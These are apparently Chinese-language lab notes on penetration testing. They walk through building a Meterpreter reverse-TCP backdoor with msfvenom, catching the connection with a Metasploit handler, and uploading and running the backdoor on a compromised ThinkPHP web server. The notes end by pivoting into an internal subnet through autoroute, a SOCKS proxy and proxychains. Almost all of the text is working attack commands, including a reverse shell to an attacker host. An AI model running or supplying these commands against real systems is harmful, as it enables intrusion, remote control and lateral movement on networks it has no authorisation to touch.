1.生成后门：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1111 -f elf >t1.elf


 
2.接受反弹：
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.2.187
set LPORT 1111
exploit

3.上传elf并执行
(www:/www/wwwroot/ThinkPHP/public) $ chmod +x t1.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./t1.elf

4.信息收集及配置访问
获取网络接口：run get_local_subnets
查看路由地址：run autoroute -p
添加路由地址：run autoroute -s 192.168.22.0/24
开启本地代理：
use auxiliary/server/socks_proxy 
set srvport 2222
set version 4a 
exploit
 
4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux：
配置proxychains（代理工具）后调用工具探针Target2
/etc/proxychains.conf
socks4 192.168.2.187 2222（在配置文件中添加）
